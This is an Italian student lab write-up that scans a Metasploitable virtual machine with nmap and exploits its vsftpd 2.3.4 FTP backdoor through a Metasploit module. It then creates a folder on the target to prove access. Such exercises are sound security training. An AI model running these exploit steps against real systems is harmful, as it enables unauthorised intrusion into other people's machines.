



# Progetto S7-L1



# Metasploit

Metasploit è un framework open-source per lo sviluppo e l'esecuzione di exploit contro sistemi informatici. Viene utilizzato sia dagli amministratori di sicurezza che dagli hacker etici per testare e migliorare la sicurezza dei sistemi.



# Meterpreter

Meterpreter è un payload all'interno del framework Metasploit che offre un'ampia gamma di funzionalità post-sfruttamento. Una volta che un sistema è stato compromesso, Meterpreter consente al penetratore di eseguire comandi, raccogliere informazioni e mantenere l'accesso al sistema compromesso.

# Esercizio

Assicuriamoci che le macchine kali e linux pingano. Poi eseguiamo questo comando

```
└─$ nmap -sV 192.168.1.168
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-22 07:48 EST
Nmap scan report for 192.168.1.168
Host is up (0.0058s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGR
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGR
512/tcp   open  exec         netkit-rsh rexecd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
```



## Esercizio

Noi dobbiamo attaccare la porta 21 che è effettivamente aperta, quindi aprimo un altro terminale ed eseguiamo i vari comandi che ci sono stati insegnati oggi nelle slide, ovvero:

```
msfconsole
```

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
set RHOSTS (IP META)
```

```
exploit
```

```
ifconfig
```

```
mkdir (nome cartella)
```

## Esercizio

Una volta eseguito questi comandi ecco i risultati tramite il comando ls:

```
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var
```

```
ant      root  test_metasploit  vmlinuz  
nohup.out sbin  tmp  
ant      srv   usr
```

A sinistra vediamo da kali la cartella appena creata, da meta bisogna andare nella root con `cd /` e poi fare `ls` e vediamo che è stata effettivamente creata una cartella.